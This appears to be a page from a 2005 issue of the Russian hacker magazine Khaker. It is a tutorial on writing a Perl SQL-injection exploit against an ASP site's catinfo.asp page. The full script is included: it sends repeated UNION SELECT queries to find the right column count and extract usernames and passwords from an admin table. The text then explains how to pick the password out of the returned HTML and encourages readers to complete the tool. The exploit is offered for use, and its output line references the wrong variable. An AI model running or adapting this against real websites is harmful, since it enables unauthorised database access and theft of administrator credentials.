Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #79, ИЮЛЬ 2005 г.

Сплойт для web'а

Никита Кислицин

Хакер, номер #079, стр. 079-058-3


2) соединение с указанным узлом

3) составление и отправка HTTP-запроса

4) обработка возвращаемой информации.

В нашем случае, поскольку нам сначала необходимо составить корректный SQL-запрос, пункты 2-4 будут выполняться многократно. Первый запрос, который мы отправляем, выбирает из таблицы 10 полей (начинать перебор с 1 поля нет смысла). Если при его выполнении возникает ошибка (число колонок в оригинальном запросе другое), мы добавляем еще одно поле к нашему запросу. И так до тех пор, пока запрос не выполнится корректно.

Если ты внимательно читаешь, у тебя должен был появиться вопрос: каким образом можно понять, выполнился ли корректно наш запрос, или же произошла ошибка. Очень легко! Если ты посмотришь код сплойта, который находится чуть ниже, то увидишь там строку, где я проверяю, есть ли в ответе сервера набор символов «Internal Server Error». Если эта строка присутствует, считается, что запрос не выполнен, и надо увеличивать число выбираемых полей.

Справедлив вопрос: а во всех ли случаях при возникновении ошибки web-сервер выплевывает именно эту фразу? Справедливый ответ: нет, это зависит от установленного web-сервера и версии ASP. Так, модница ASP .NET ругается по-новому: «Database Engine error» - это предложение так же обрабатывается моим сплойтом.

Наш нехитрый сплойт

#!/usr/bin/perl

use IO::Socket;

$host = $ARGV[0];

$path = $ARGV[1];

$port=80;

$se="error_occ";

$i=0;

while($se=~/error_occ/) {

socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));

$iaddr = inet_aton($host);

$paddr = sockaddr_in($port, $iaddr);

connect(SOCK, $paddr);

$quest="GET $path/catinfo.asp?cat='%20union%20select%201,pass,user,1,1,1,1,1,1,1";

for($j=0; $j<$i;$j++) {

$quest.=",1";

}

$quest.="%20from%20tblAdm";

$quest.=" HTTP/1.1\n";

$quest.="Host: $host\n\n\r\n\n";

send (SOCK, $quest, 0);

$se="no_error";

while($data=<SOCK>) {

if ($data=~/Internal Server Error/ or $data=~/Database Engine error/) {

$se="error_occ";}}

close(SOCK);

$i++; }

print "[+]Optimal number of params found: ".$k."\n"; XXXXXXXXXXXXXXXX

[соблюдай очередность!]

После того, как запрос составлен, можно уже переходить к анализу возращенной страницы: внутри нее лежит имя пользователя и пароль из таблицы tblAdm. Как же получить доступ к этой информации, как отличить пароль от каких-то левых символьных данных, которых полно на странице?

Дело в том, что даже на различных сайтах, с различным количеством информации, разным дизайном и т.д., при определенном порядке выбираемых полей можно добиться того, что интересующие поля поместятся в такое место html-документа, где их легко можно будет опознать. К примеру, в запросе select 1,pass,user,1,1,1,1,1,1,1 такая очередность выбрана неслучайно: в этом случае выбираемые параметры помещаются в следующую конструкцию:

<a href="fileinfo.asp?file_id=frankiha" class="large">frank</a>

Здесь frankiha – пароль пользователя frank. Само собой, что таких ссылок в html-документе больше нет, и поэтому двумя строчками кода из горы текста выдирается именно этот тег. Получить раздельно логин и пароль – это уже дело техники, причем реализовать это можно многими путями. На самом деле, я тебе сообщил proof-of-concept дальнейших действий и предоставляю возможность самому немного попрограммировать. В самом деле, если тебе интересно попробовать собственные силы, допиши приведенный здесь сплойт. Если же у тебя возникнут проблемы, на нашем диске ты найдешь завершенный вариант отмычки, с красивым выводом, проверками на некорректное использование и т.д.

Назад на стр. 079-058-2  Содержание  Вперед на стр. 079-058-4